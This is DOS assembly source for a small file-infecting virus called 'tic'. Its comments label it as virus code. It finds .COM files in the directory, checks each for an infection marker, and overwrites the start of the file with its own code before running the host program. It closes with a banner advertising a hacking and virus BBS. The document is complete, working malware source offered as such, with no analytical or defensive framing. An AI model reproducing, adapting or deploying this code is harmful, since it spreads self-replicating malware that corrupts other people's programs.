tic segment org 100h assume cs:tic, ds:tic, es:tic ; len equ offset last-100h ;LENGTH OF VIRUS CODE ; start: mov bx,0fh ;KLUDGE TO AVOID MEMALLOC ERROR mov ah,4ah int 21h mov dx,es add dh,10h mov es,dx ;PROGRAM CODE WILL RUN HERE push dx ;SET UP FOR FAR RETURN push si mov ah,26h ;CREATE NEW PSP int 21h mov di,si mov si,offset last push si mov ch,0feh rep movsb ;MOVE PROGRAM CODE UP dec cx ;=FFFF pop di mov dx,offset file mov ah,4eh ;FIND FIRST .COM FILE jmp short find retry: mov ah,4fh ;FIND NEXT find: int 21h jc nofile ;NO (MORE) FILES mov dx,9eh ;FILE NAME IN DTA mov ax,3d02h ;OPEN FILE int 21h xchg ax,bx ;1-BYTE MOVE OF AXBX mov dx,di ;END OF VIRUS CODE mov ah,3fh ;READ FILE DATA (CX=FFFF) int 21h ;READ FILE AFTER VIRUS CODE add ax,len ;LENGTH OF VIRUS+FILE cmp byte ptr [di],0bbh ;CHECK IF ALREADY INFECTED je retry ;TRY AGAIN push ax xor cx,cx mov ax,4200h ;RESET FILE POINTER cwd ;DX=0 int 21h pop cx mov dh,1 mov ah,40h ;WRITE INFECTED CODE BACK int 21h ; nofile: push es ;GO RUN PROGRAM pop ds retf ; file db '*.COM',0 ;SEARCH FOR .COM FILES last db 0c3h ;STANDALONE VIRUS CODE JUST RETURNS tic ends end start  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ